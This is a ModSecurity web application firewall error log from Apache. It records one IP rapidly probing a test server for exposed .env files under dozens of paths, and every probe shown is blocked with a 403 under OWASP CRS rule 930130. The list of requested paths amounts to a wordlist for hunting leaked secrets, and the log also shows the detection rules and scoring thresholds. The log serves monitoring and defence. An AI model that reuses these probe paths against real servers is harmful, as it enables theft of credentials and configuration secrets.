[Thu Feb 26 01:02:54.872411 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app-order-client/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhZwAAAAE&quot;]
[Thu Feb 26 01:02:54.872561 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app-order-client/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhZwAAAAE&quot;]
[Thu Feb 26 01:02:54.888582 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyiQAAAAA&quot;]
[Thu Feb 26 01:02:54.888802 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyiQAAAAA&quot;]
[Thu Feb 26 01:02:54.888967 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyiQAAAAA&quot;]
[Thu Feb 26 01:02:54.935114 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.example&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhaQAAAAE&quot;]
[Thu Feb 26 01:02:54.935357 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.example&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhaQAAAAE&quot;]
[Thu Feb 26 01:02:54.935537 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.example&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhaQAAAAE&quot;]
[Thu Feb 26 01:02:54.968803 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.sample&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhagAAAAE&quot;]
[Thu Feb 26 01:02:54.969030 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.sample&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhagAAAAE&quot;]
[Thu Feb 26 01:02:54.969182 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.sample&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhagAAAAE&quot;]
[Thu Feb 26 01:02:54.992711 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhawAAAAE&quot;]
[Thu Feb 26 01:02:54.992966 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhawAAAAE&quot;]
[Thu Feb 26 01:02:54.993141 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhawAAAAE&quot;]
[Thu Feb 26 01:02:55.043974 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.back&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.back&quot;] [unique_id &quot;aZ-NrzAL5Lg_nL66HcLhbAAAAAE&quot;]
[Thu Feb 26 01:02:55.044273 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.back&quot;] [unique_id &quot;aZ-NrzAL5Lg_nL66HcLhbAAAAAE&quot;]
[Thu Feb 26 01:02:55.044475 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.back&quot;] [unique_id &quot;aZ-NrzAL5Lg_nL66HcLhbAAAAAE&quot;]
[Thu Feb 26 01:02:55.098907 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/client/.env&quot;] [unique_id &quot;aZ-NrzAL5Lg_nL66HcLhbQAAAAE&quot;]
[Thu Feb 26 01:02:55.099144 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/client/.env&quot;] [unique_id &quot;aZ-NrzAL5Lg_nL66HcLhbQAAAAE&quot;]
[Thu Feb 26 01:02:55.099286 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/client/.env&quot;] [unique_id &quot;aZ-NrzAL5Lg_nL66HcLhbQAAAAE&quot;]
[Thu Feb 26 01:02:55.158166 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assignment3/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment3/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiykAAAAAA&quot;]
[Thu Feb 26 01:02:55.158419 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment3/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiykAAAAAA&quot;]
[Thu Feb 26 01:02:55.158569 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment3/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiykAAAAAA&quot;]
[Thu Feb 26 01:02:55.183191 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assignment4/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment4/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiykQAAAAA&quot;]
[Thu Feb 26 01:02:55.183436 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment4/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiykQAAAAA&quot;]
[Thu Feb 26 01:02:55.183590 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment4/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiykQAAAAA&quot;]
[Thu Feb 26 01:02:55.213765 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /audio/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/audio/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiykgAAAAA&quot;]
[Thu Feb 26 01:02:55.214025 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/audio/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiykgAAAAA&quot;]
[Thu Feb 26 01:02:55.214196 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/audio/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiykgAAAAA&quot;]
[Thu Feb 26 01:02:55.222106 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/code/community/nosto/tagging/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/code/community/Nosto/Tagging/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHZwAAAAQ&quot;]
[Thu Feb 26 01:02:55.222392 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/code/community/Nosto/Tagging/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHZwAAAAQ&quot;]
[Thu Feb 26 01:02:55.222552 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/code/community/Nosto/Tagging/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHZwAAAAQ&quot;]
[Thu Feb 26 01:02:55.271318 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHaQAAAAQ&quot;]
